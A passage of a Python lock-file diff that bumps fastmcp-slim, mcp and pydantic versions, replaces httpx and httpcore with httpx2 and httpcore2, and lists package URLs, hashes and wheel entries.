"3.4.7" +version = "4.0.5" source = { registry = "https://pypi.org/simple" } dependencies = [ + { name = "mcp-types" }, { name = "platformdirs" }, { name = "pydantic", extra = ["email"] }, { name = "pydantic-settings" }, @@ -737,16 +732,16 @@ dependencies = [ { name = "rich" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/12/ac/7924e803368d0758ee4d6b1259066550df78f58f0f9f8bfebd5a123e957d/fastmcp_slim-3.4.7.tar.gz", hash = "sha256:06b32a358320a7dc2b2ee040ba89ea55ddc20763dff2949f384f7974b13b5d8f", size = 594357, upload-time = "2026-08-10T21:17:28.723Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7f/78/fa6a58bfc3d2b218f591f8e8c261639dd6fc56e2d6a70be0d1c42244ffa0/fastmcp_slim-4.0.5.tar.gz", hash = "sha256:5dc5395bcacb0eb405787393298891210c821d3f66334c2695e5e435d88fe575", size = 687868, upload-time = "2026-09-17T17:38:32.327Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b4/97/e0e53642cd029a9a7635ae9c548f9f2cc995af5914e487b3df795664e4be/fastmcp_slim-3.4.7-py3-none-any.whl", hash = "sha256:6c931a0089705f3f2935428ef9b2bc74ad94140adc64aab84d116d103e694b3a", size = 769370, upload-time = "2026-08-10T21:17:27.227Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/8dc551ef1f222bd146537ae100baf7441628aa1050494b567249ece997c2/fastmcp_slim-4.0.5-py3-none-any.whl", hash = "sha256:2bb5bc1ff0a0f3ae063b97f647ea3730d32d5481050231818c161214b9047f67", size = 862080, upload-time = "2026-09-17T17:38:31.029Z" }, ] [package.optional-dependencies] client = [ { name = "authlib" }, { name = "exceptiongroup" }, - { name = "httpx" }, + { name = "httpx2" }, { name = "mcp" }, { name = "opentelemetry-api" }, { name = "py-key-value-aio", extra = ["filetree", "keyring", "memory"] }, @@ -757,7 +752,7 @@ server = [ { name = "cyclopts" }, { name = "exceptiongroup" }, { name = "griffelib" }, - { name = "httpx" }, + { name = "httpx2" }, { name = "joserfc" }, { name = "jsonref" }, { name = "jsonschema-path" }, @@ -796,40 +791,42 @@ wheels = [ ] [[package]] -name = "httpcore" -version = "1.0.9" +name = "httpcore2" +version = "2.13.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "certifi" }, { name = "h11" }, + { name = "truststore" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cb/f3/1db7aa2bc2524062192bb0e0323969492d1883152a232fe36eea65f4e35c/httpcore2-2.13.1.tar.gz", hash = "sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103", size = 68071, upload-time = "2026-09-23T07:47:22.372Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, + { url = "https://files.pythonhosted.org/packages/09/ba/a4568248771ce81957bfb7cc600264a40fbcda092391ee1c415c50be4bea/httpcore2-2.13.1-py3-none-any.whl", hash = "sha256:e1e05d4f25f7d7d496bfb96748f6f4b67657b03da069b3a68c36069f3db73d0a", size = 83423, upload-time = "2026-09-23T07:47:19.365Z" }, ] [[package]] -name = "httpx" -version = "0.28.1" +name = "httpx2" +version = "2.13.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "anyio" }, - { name = "certifi" }, - { name = "httpcore" }, + { name = "anyio", marker = "sys_platform != 'emscripten'" }, + { name = "httpcore2", marker = "sys_platform != 'emscripten'" }, + { name = "httpx2-jsfetch", marker = "python_full_version >= '3.12' and sys_platform == 'emscripten'" }, { name = "idna" }, + { name = "truststore", marker = "sys_platform != 'emscripten'" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d5/44/474bef2a0e9d90f1715d32cb98b0738695ca17ba324095fb2497ed7fbd59/httpx2-2.13.1.tar.gz", hash = "sha256:e48744a19e3af5ee48313d0ce5fe941d5422fae5705ea922a4aabf94d7800dfa", size = 100405, upload-time = "2026-09-23T07:47:23.052Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, + { url = "https://files.pythonhosted.org/packages/d8/9c/6fe8931fd9f381042a9e4c7d5a7b4cbf7016b252bec0c99a49fce42c3326/httpx2-2.13.1-py3-none-any.whl", hash = "sha256:6dff50fabc270ee5fd25d845d0b078ed20564579744d6d962850975996d2f9a4", size = 95597, upload-time = "2026-09-23T07:47:20.995Z" }, ] [[package]] -name = "httpx-sse" -version = "0.4.3" +name = "httpx2-jsfetch" +version = "1.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d2/fd/6668e5aec43ab844de6fc74927e155a3b37bf40d7c3790e49fc0406b6578/httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc", size = 8960, upload-time = "2025-10-10T21:48:21.158Z" }, + { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" }, ] [[package]] @@ -846,7 +843,7 @@ name = "importlib-metadata" version = "9.0.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "zipp", marker = "python_full_version < '3.14'" }, + { name = "zipp" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6f/7e/1e7e8dc30634b93ebb3d58a3dea569ad146e656218d3960ab04f62047b29/importlib_metadata-9.0.1.tar.gz", hash = "sha256:ab830580bc0ef3db61ce8fae716389e5462b67e033018bab6d8f80ef17172f99", size = 59124, upload-time = "2026-08-28T15:30:34.646Z" } wheels = [ @@ -1133,15 +1130,15 @@ wheels = [ [[package]] name = "mcp" -version = "1.29.1" +version = "2.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, - { name = "httpx" }, - { name = "httpx-sse" }, + { name = "httpx2" }, { name = "jsonschema" }, + { name = "mcp-types" }, + { name = "opentelemetry-api" }, { name = "pydantic" }, - { name = "pydantic-settings" }, { name = "pyjwt", extra = ["crypto"] }, { name = "python-multipart" }, { name = "pywin32", marker = "sys_platform == 'win32'" }, @@ -1151,9 +1148,22 @@ dependencies = [ { name = "typing-inspection" }, { name = "uvicorn", marker = "sys_platform != 'emscripten'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b5/48/0bb26fdfe7ac16875f534a101ce2405eae192bdef37e7451f2f4507c13ec/mcp-1.29.1.tar.gz", hash = "sha256:1967ba4c315f7a375146209949f45950d18b0efd2f913d7cf3400bc723ee5f04", size = 646823, upload-time = "2026-08-24T18:30:41.161Z" } +sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdcebdbf7561e7c15a07dbbf20ba21ba16c3593b3038b3afbd", size = 4084129, upload-time = "2026-09-07T16:06:23.439Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/04/d6b4fb82eefe9e81807aabca1ac98f460ae0883974b83a997aaa20c52545/mcp-1.29.1-py3-none-any.whl", hash = "sha256:b6310eeb59153300c4ab8b9aec4c52f4819a2d6a8e429eb43d908bed7c783648", size = 224653, upload-time = "2026-08-24T18:30:39.573Z" }, + { url = "https://files.pythonhosted.org/packages/1b/ff/8e7eade68b8a28f7da0ed1085544341b51f9c935dbf6b95c76b7edfea6a0/mcp-2.2.0-py3-none-any.whl", hash = "sha256:bde982589473a060ae145e3406e9a5333fe538c97229ba841f5a7f92be004f81", size = 365656, upload-time = "2026-09-07T16:06:19.711Z" }, +] + +[[package]] +name = "mcp-types" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab41348ac8556ba23e07fedefad", size = 65892, upload-time = "2026-09-07T16:06:25.187Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a04f13", size = 69106, upload-time = "2026-09-07T16:06:21.461Z" }, ] [[package]] @@ -1356,7 +1366,7 @@ wheels = [ [[package]] name = "pydantic" -version = "2.13.4" +version = "2.13.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-types" }, @@ -1364,9 +1374,9 @@ dependencies = [ { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" } +sdist = { url = "https://files.pythonhosted.org/packages/53/ef/fc4f868f4e2cee79f863883abffceff107875f569b848507319842d2a681/pydantic-2.13.5.tar.gz", hash = "sha256:51a9c5f7b2f8e636f04c6cada605d9b6a3bf1348fdf945a3d8869b19bba0ee08", size = 845750, upload-time = "2026-08-28T14:04:00.916Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, + { url = "https://files.pythonhosted.org/packages/eb/47/c95ffc2009878c7aac0c5e08528022dcb885933252a88b5f170058014464/pydantic-2.13.5-py3-none-any.whl", hash = "sha256:346a034f080da3755d8e9cb5e00e8b07de1d39e4f6e2c87d8ab7cafa0b269a73", size = 472589, upload-time = "2026-08-28T14:03:59.136Z" }, ] [package.optional-dependencies] @@ -1376,118 +1386,118 @@ email = [ [[package]] name = "pydantic-core" -version = "2.46.4" +version = "2.46.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } +sdist = { url = "https://files.pythonhosted.org/packages/af/f9/8a06bea35ef8daf588f707784c973a7046e0034c8d8cfb08828eeffb8b75/pydantic_core-2.46.5.tar.gz", hash = "sha256:10416c15b8839ecc4ef4d0885da76da6fd0f67333a0eb8aff6d93c4b8f2910fc", size = 472262, upload-time = "2026-08-28T10:01:31.677Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, - { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, - { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, - { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, - { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, - { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, - { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, - { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, - { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, - { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, - { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, - { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, - { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, - { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" }, - { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, - { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, - { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, - { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" }, - { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" }, - { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" }, - { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" }, - { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" }, - { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3", size = 2165122, upload-time = "2026-05-06T13:37:01.167Z" }, - { url = "https://files.pythonhosted.org/packages/f7/52/7c529d7bdb2d1068bd52f51fe32572c8301f9a4febf1948f10639f1436f5/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848", size = 2182573, upload-time = "2026-05-06T13:38:45.04Z" }, - { url = "https://files.pythonhosted.org/packages/37/b3/7c40325848ba78247f2812dcf9c7274e38cd801820ca6dd9fe63bcfb0eb4/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3", size = 2317139, upload-time = "2026-05-06T13:37:15.539Z" }, - { url = "https://files.pythonhosted.org/packages/d9/37/f913f81a657c865b75da6c0dbed79876073c2a43b5bd9edbe8da785e4d49/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109", size = 2360433, upload-time = "2026-05-06T13:37:30.099Z" }, - { url = "https://files.pythonhosted.org/packages/c4/67/6acaa1be2567f9256b056d8477158cac7240813956ce86e49deae8e173b4/pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda", size = 1985513, upload-time = "2026-05-06T13:38:15.669Z" }, - { url = "https://files.pythonhosted.org/packages/aa/e6/c505f83dfeda9a2e5c995cfd872949e4d05e12f7feb3dca72f633daefa94/pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33", size = 2071114, upload-time = "2026-05-06T13:40:35.416Z" }, - { url = "https://files.pythonhosted.org/packages/0f/da/7a263a96d965d9d0df5e8de8a475f33495451117035b09acb110288c381f/pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d", size = 2044298, upload-time = "2026-05-06T13:38:29.754Z" }, - { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" }, - { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" }, - { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" }, - { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" }, - { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" }, - { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" }, - { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" }, - { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" }, - { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" }, - { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" }, - { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" }, - { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" }, - { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" }, - { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" }, - { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" }, - { url = 